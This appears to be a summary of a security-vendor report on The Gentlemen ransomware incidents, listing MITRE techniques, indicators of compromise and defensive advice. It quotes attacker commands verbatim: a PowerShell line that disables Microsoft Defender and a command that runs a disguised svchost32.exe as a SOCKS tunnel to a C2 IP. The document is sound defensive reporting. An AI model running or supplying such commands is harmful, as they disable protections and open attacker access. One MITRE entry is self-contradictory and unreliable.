Huntress investigated two The Gentlemen ransomware incidents in April and May 2025 that involved Scheduled Tasks, PowerShell, event log clearing, and attempts to disable Microsoft Defender. A leaked internal database also exposed the group’s infrastructure, negotiation details, and security-evasion tradecraft, including links to #TheGentlemen #MicrosoftDefender #Huntress
Keypoints
- The Gentlemen is a ransomware-as-a-service operation that has reportedly grown quickly since launching in mid-2025.
- Huntress analyzed two incidents where The Gentlemen ransomware was deployed, one affecting a shipping and transportation organization and another affecting a construction company.
- Both incidents involved Scheduled Tasks, PowerShell activity, and clearing of the Security, System, and Application Windows Event Logs.
- The attackers attempted to disable Microsoft Defender, add antivirus exclusions, and re-run the encryptor after initial blocking.
- A leaked internal database revealed operator accounts, infrastructure details, initial access interests, and ransom negotiation behavior.
- The second incident included a malicious Scheduled Task that launched a disguised binary, svchost32.exe, to establish SOCKS proxy connectivity to C2 infrastructure.
- Defensive recommendations included MFA, restricting RDP, monitoring scheduled tasks, enabling Defender tamper protection, and treating log clearing as an escalation trigger.
MITRE Techniques
- [T1053.005 ] Scheduled Task/Job: Scheduled Task – Used to relaunch the encryptor and maintain persistence; the attackers created scheduled tasks that repeatedly triggered malicious execution (‘The threat actor then created a series of Scheduled Tasks… One of these was used to run the file encryptor again.’).
- [T1059.001 ] Command and Scripting Interpreter: PowerShell – Used to execute commands that disabled Microsoft Defender, changed preferences, and added exclusions (‘powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true; Stop-Service -Name WinDefend -Force; Set-Service -Name WinDefend -StartupType Disabled’).
- [T1562.001 ] Impair Defenses: Disable or Modify Tools – Used to disable Microsoft Defender and reduce protection before redeploying the ransomware (‘disable Microsoft Defender and add antivirus exclusions’).
- [T1562.002 ] Impair Defenses: Disable Windows Event Logging – Used to clear the Security, System, and Application logs to hide traces of activity (‘the Security, System, and Application Event Logs were cleared’).
- [T1070.001 ] Indicator Removal on Host: Clear Windows Event Logs – Used to erase specific Windows logs during the intrusion (‘Event ID 104… and Event ID 1102… showing that all have been cleared’).
- [T1021.001 ] Remote Services: Remote Desktop Protocol – Used to access the environment through a compromised account (‘initiating a Remote Desktop Protocol (RDP) connection using a compromised user’s account’).
- [T1218.011 ] System Binary Proxy Execution: Rundll32 / similar legitimate binary abuse not explicitly named; instead malicious use of a disguised system-like binary was observed, but the article directly describes a fake svchost binary rather than a standard MITRE-listed binary technique. No exact standard technique is clearly evidenced beyond masquerading.
- [T1036 ] Masquerading – The binary svchost32.exe was disguised as the legitimate Windows process svchost.exe to blend in (‘The binary (svchost32.exe), disguised as the legitimate Windows system process svchost.exe’).
- [T1090.001 ] Proxy: Internal Proxy – Used a SOCKS proxy connection from the malicious binary to relay traffic to C2 (‘created a SOCKS proxy connection to a command-and-control (C2) IP address’).
Indicators of Compromise
- [IP address] C2 infrastructure used by the malicious scheduled task – 193.233.202[.]17, 77.110.122[.]137
- [File name] Ransomware payloads and ransom note – win.exe, G_hlm7jj_windows_amd64.exe, README-GENTLEMEN.txt
- [SHA256 hash] Encryptor sample from the second incident – f918535f974591ef031bd0f30a8171e3da27a6754e6426a8ba095f83195661c8
- [Host name] Workstation associated with malicious activity – WIN-8OA3CCQAE4D
- [Detection name] Microsoft Defender detections tied to the activity – Trojan:Win32/MpTamperBulkExcl.H, Ransom:Win64/Gentlemen.SH!MTB, Ransom:Win64/BlackByte.SZ!MTB
- [Process / command line] Ransomware execution and scheduled task persistence – C:UsersREDACTEDDocumentswin.exe –password REDACTED –T 200 –superfast, C:WindowsTempsvchost32.exe client 193.233.202[.]17:44729 R:1081:socks, and 1 more command-line item
Read more: https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps